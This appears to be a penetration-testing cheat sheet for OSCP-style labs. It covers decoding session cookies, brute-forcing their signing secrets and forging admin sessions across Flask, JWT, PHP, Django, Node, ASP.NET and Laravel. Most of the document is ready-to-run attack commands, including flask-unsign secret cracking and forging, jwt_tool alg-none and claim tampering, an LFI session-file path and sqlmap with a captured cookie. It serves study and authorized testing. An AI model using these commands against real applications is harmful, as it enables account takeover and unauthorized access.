Cookie Decoding & Session Abuse — Reference
When you capture a session cookie (Burp, browser, curl -v), identify the format → decode → crack secret if signed → forge admin session.
OSCP pattern: Base64 blob in
sessioncookie → often Flask or JWT. PHP →PHPSESSID+ server-side or serialized. See Version CVEs “Cookie contains Base64 JSON”.
📌 1) Identify Cookie Type
| Cookie name / shape | Likely stack | Tool |
|---|---|---|
session= — base64.timestamp.hmac (3 dot parts) | Flask / itsdangerous | flask-unsign |
eyJ... (JWT, 3 base64 segments) | JWT auth | jwt_tool, jwt.io |
PHPSESSID= (opaque hex/alphanum) | PHP (server-side file) | LFI /tmp/sess_*, Local File Inclusion (LFI) |
.ASPXAUTH, ASP.NET_SessionId | ASP.NET | ViewState tools, MachineKey |
connect.sid | Express/Node | cookie-signature + secret brute |
csrftoken + sessionid | Django | django signing / session decode |
laravel_session | Laravel | APP_KEY + decrypt |
Raw Base64 → {"user":...} | Custom / weak signing | Manual edit + re-encode |
Quick decode (any Base64):
echo 'eyJ1c2VyIjoidGVzdCJ9' | base64 -d
echo 'COOKIE_PAYLOAD' | base64 -d 2>/dev/null | xxd📌 2) flask-unsign — Flask Sessions (Full Reference)
Flask cookies are signed, not encrypted — payload is readable; HMAC protects integrity.
pip install flask-unsign # or venv — see [[Reference#Python venv — create & activate]]
# Optional default wordlist:
pip install flask-unsign-wordlist
# If system pip blocked (PEP 668):
python3 -m venv venv && source venv/bin/activate && pip install flask-unsignAll flags
| Flag | Short | Description |
|---|---|---|
--decode | -d | Decode cookie contents (verify signature unless --no-verify) |
--unsign | -u | Brute-force secret key from signed cookie |
--sign | -s | Craft new signed cookie with known secret |
--cookie | -c | Cookie value to decode/unsign/sign |
--server | Fetch session cookie from URL (Set-Cookie on response) | |
--secret | -S | Known secret key (for --sign or verify) |
--wordlist | -w | Wordlist for --unsign (default: flask-unsign-wordlist) |
--threads | -t | Brute-force thread count |
--no-verify | Decode without checking signature (tampered/expired OK) | |
--no-literal-eval | -nE | Wordlist entries are plain strings (use with rockyou) |
--legacy | -l | Old itsdangerous signing algorithm |
--salt | Custom salt (default: cookie-session) | |
--quiet | -q | Less output |
Examples
# Decode
flask-unsign -d -c 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
flask-unsign --decode --cookie 'COOKIE' --no-verify
# Fetch cookie from app then decode
flask-unsign -d --server http://TARGET/login
# Brute secret (rockyou — use --no-literal-eval)
flask-unsign -u -c 'COOKIE' -w /usr/share/wordlists/rockyou.txt --no-literal-eval
flask-unsign -u -c 'COOKIE' -t 16
# Default wordlist (quoted Python strings in wordlist)
flask-unsign -u -c 'COOKIE'
# Forge admin session after cracking secret
flask-unsign -s -c "{'logged_in': True, 'user_id': 1, 'admin': True}" -S 'CHANGEME'
flask-unsign -s -c "{'username': 'admin'}" -S 'secret' --legacy
# Pipe cookie from file
flask-unsign -u -c "$(grep session cookies.txt | cut -d= -f2)"Workflow: capture session cookie → -d read JSON → -u crack secret → -s forge logged_in: true / role change → replace in Burp/browser → Burp Suite Repeater.
📌 3) Other Tools That Decode / Crack Cookies
General / multi-format
| Tool | Use | Example |
|---|---|---|
| Burp Decoder | Base64, URL, hex, HTML | Send cookie → Decoder tab |
| CyberChef | Base64, JWT parse, gzip nested | https://gchq.github.io/CyberChef/ |
| browser DevTools | View raw cookies | F12 → Application → Cookies |
curl -v | See Set-Cookie headers | curl -v http://TARGET/ 2>&1 | grep -i set-cookie |
| Python REPL | Manual Flask/JWT | import base64, json; json.loads(base64.b64decode('...')) |
JWT (eyJhbG...)
| Tool | Install / URL | Example |
|---|---|---|
| jwt_tool | pip install jwt-tool | jwt_tool eyJ... -M at (alg none) |
| jwt.io | https://jwt.io | Paste token — decode + verify secret |
| hashcat | mode 16500 (JWT secret) | After extract secret candidate |
| john | JWT formats | Offline crack weak HS256 secret |
jwt_tool TOKEN -C -d wordlist.txt # crack HS256 secret
jwt_tool TOKEN -X a -I -pc name -pv admin # alg confusion / claim tamperSee Version CVEs — “JWT token uses alg=HS256”.
PHP sessions
| Method | Notes |
|---|---|
| LFI | ../../../../tmp/sess_PHPSESSID if path known |
| phpggc | Deserialize chains if cookie = serialized object |
| manual | session_decode() in PHP if you have code execution |
Cookie often opaque — value lives server-side; focus on LFI/session fixation not decode.
Django
# django-session-cookie decoder (third-party scripts online)
# Secret in settings.py — if leaked via LFI/SSTI, forge session
python -c "from django.core import signing; print(signing.loads('COOKIE', key='SECRET'))"Express / Node (connect.sid)
Signed with cookie-signature + secret from env:
// If you recover secret from source/LFI:
const cookie = require('cookie-signature');
cookie.sign('s:SESSION_ID', 'SECRET');ASP.NET
| Tool | Use |
|---|---|
| ViewState decode | .ASPX pages — ysoserial if MAC broken |
| MachineKey | Decrypt forms auth cookie if key known |
| dnSpy / ILSpy | Find hardcoded keys in .NET binary |
Laravel
# APP_KEY from .env — decrypt laravel_session
php artisan decrypt:cookies # custom scripts / online toolsRuby / Rails
# rails secret from credentials — cookie store
# Often Marshal inside — don't eval untrusted Marshal📌 4) Online Decoders & Labs (Examples)
Use only on authorized targets / your own apps:
| Service | URL | Good for |
|---|---|---|
| CyberChef | https://gchq.github.io/CyberChef/ | Base64, JWT, nested encoding |
| jwt.io | https://jwt.io | JWT header/payload + weak secret test |
| Base64 decode | https://www.base64decode.org/ | Quick peek at payload |
| Flask-Unsign (Hexmos) | https://hexmos.com/freedevtools/tldr/common/flask-unsign/ | Web UI wrapper for flask-unsign concepts |
Self-hosted / CLI preferred on exam — no outbound net dependency.
📌 5) Capture Cookies (Before Decode)
# curl save jar
curl -c cookies.txt -b cookies.txt -v http://TARGET/login -d 'user=x&pass=y'
# Burp: Proxy → HTTP history → Response → Set-Cookie
# Burp: Repeater → change Cookie: header after forge
# ffuf with cookie
ffuf -u http://TARGET/FUZZ -b "session=COOKIE" -w wordlist.txt
# sqlmap authenticated
sqlmap -u "http://TARGET/page" --cookie="session=COOKIE" --dbsSee Burp Suite, Curl, SQLMap, Gobuster.
📌 6) OSCP Cheat Sheet
# 1) Looks like Flask? (session=xxx.yyy.zzz)
flask-unsign -d -c 'COOKIE'
flask-unsign -u -c 'COOKIE' -w /usr/share/wordlists/rockyou.txt --no-literal-eval
# 2) Looks like JWT? (eyJ...)
jwt_tool eyJ... -C -d /usr/share/wordlists/rockyou.txt
# 3) Generic Base64 JSON
echo 'PAYLOAD' | base64 -d
# 4) Forge Flask admin
flask-unsign -s -c "{'logged_in': True}" -S 'CRACKED_SECRET'
# Paste into Burp Cookie: session=...